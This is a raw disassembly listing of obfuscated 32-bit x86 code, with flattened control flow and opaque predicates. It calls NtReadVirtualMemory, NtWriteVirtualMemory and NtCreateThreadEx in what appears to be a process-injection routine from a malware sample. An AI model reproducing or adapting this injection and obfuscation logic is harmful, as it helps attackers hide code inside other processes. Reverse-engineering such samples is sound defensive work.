or cl, 0
and al, cl
or dl, al
mov eax, 0xaaf59c12
mov ecx, 0xaa3e6663
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000f922
mov dword [ebp - 0x14c], 0x490543eb
jmp 0x1000f922
mov ecx, dword [0x1006de88]
mov eax, dword [0x1006de84]
mov edx, ecx
sub edx, 0x7bafd730
sub edx, 1
add edx, 0x7bafd730
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x2f693f22
mov ecx, 0xef47e10f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000f922
mov eax, dword [ebp - 0x13c]
mov dword [ebp - 0x14c], 0x169eaf68
jmp 0x1000f922
mov eax, dword [ebp - 0x130]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.10011b00
add esp, 0xc
mov eax, dword [ebp - 0x13c]
mov dword [ebp - 0x14c], 0x7005d494
jmp 0x1000f922
mov dword [ebp - 0x14c], 0x438a9013
jmp 0x1000f922
mov eax, dword [0x1006de88]
mov ecx, dword [0x1006de84]
mov edx, eax
sub edx, 0xfa5efabb
sub edx, 1
add edx, 0xfa5efabb
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf11587f7
mov ecx, 0x54cc6aea
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000f922
mov dword [ebp - 0x14c], 0xc8ff27df
jmp 0x1000f922
mov dword [ebp - 0x14c], 0x97f0d379
jmp 0x1000f922
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0xe8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe8]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x134]
mov edx, dword [eax]
mov eax, dword [ebp - 0xe4]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtReadVirtualMemory
mov dword [ebp - 0x14c], 0x9e5d0022
jmp 0x1000f922
mov eax, dword [ebp - 0xd8]
mov edx, dword [eax]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xd4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x134]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xd0]
xor esi, esi
sub esp, 0x2c
mov dword [esp], edx
mov dword [esp + 4], 0x20000000
mov dword [esp + 8], 0
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0
mov dword [esp + 0x28], 0
call sub.ntdll.dll_NtCreateThreadEx
mov eax, dword [ebp - 0xdc]
mov ecx, dword [eax]
add ecx, 4
mov eax, dword [ebp - 0xdc]
mov dword [eax], ecx
mov dword [ebp - 0x14c], 0x451c527f
jmp 0x1000f922
mov dword [ebp - 0x14c], 0x39f12ef9
jmp 0x1000f922
mov eax, dword [ebp - 0x144]
mov eax, dword [ebp - 0x140]
mov dword [ebp - 0x14c], 0x4b5020ec
jmp 0x1000f922
mov eax, dword [ebp - 0x120]
mov dword [eax], 0
mov eax, dword [ebp - 0x134]
mov dword [ebp - 0x14c], 0x1f165c74
jmp 0x1000f922
mov ax, word [ebp - 0x74]
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x14c], 0xc0864605
jmp 0x1000f922
mov eax, dword [ebp - 0x110]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x100]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov ecx, dword [ebp - 0x144]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x110]
mov edx, dword [edx]
mov esi, dword [ebp - 0x100]
imul esi, dword [esi], 0x28
add edx, esi
mov esi, dword [edx + 0x14]
xor edx, edx
sub edx, esi
sub ecx, edx
mov edx, dword [ebp - 0x120]
mov edx, dword [edx]
mov esi, dword [ebp - 0x110]
mov esi, dword [esi]
mov edi, dword [ebp - 0x100]
imul edi, dword [edi], 0x28
add esi, edi
mov edi, dword [esi + 0xc]
xor esi, esi
sub esi, edi
sub edx, esi
mov esi, dword [ebp - 0x134]
mov esi, dword [esi]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0x13c]
mov dword [ebp - 0x14c], 0xe79461e6
jmp 0x1000f922
mov eax, dword [ebp - 0x104]
mov eax, dword [ebp - 0x110]
mov eax, dword [ebp - 0x100]
mov dword [ebp - 0x14c], 0x2d62583b
jmp 0x1000f922
mov eax, dword [ebp - 0x100]
mov ecx, dword [ebp - 0x5c]
mov dword [eax], ecx
mov dword [ebp - 0x14c], 0xe6c7cf52
jmp 0x1000f922
mov eax, dword [ebp - 0x120]
mov dword [ebp - 0x14c], 0x27e7d4ad
jmp 0x1000f922
mov dword [ebp - 0x14c], 0xe1da9d6b
jmp 0x1000f922
mov dword [ebp - 0x14c], 0x99122254
jmp 0x1000f922
mov dword [ebp - 0x14c], 0x6f2c86a4
jmp 0x1000f922
mov dword [ebp - 0x14c], 0xaa9d436a
jmp 0x1000f922
mov dword [ebp - 0x14c], 0xdce2891d
jmp 0x1000f922
jmp 0x1000848f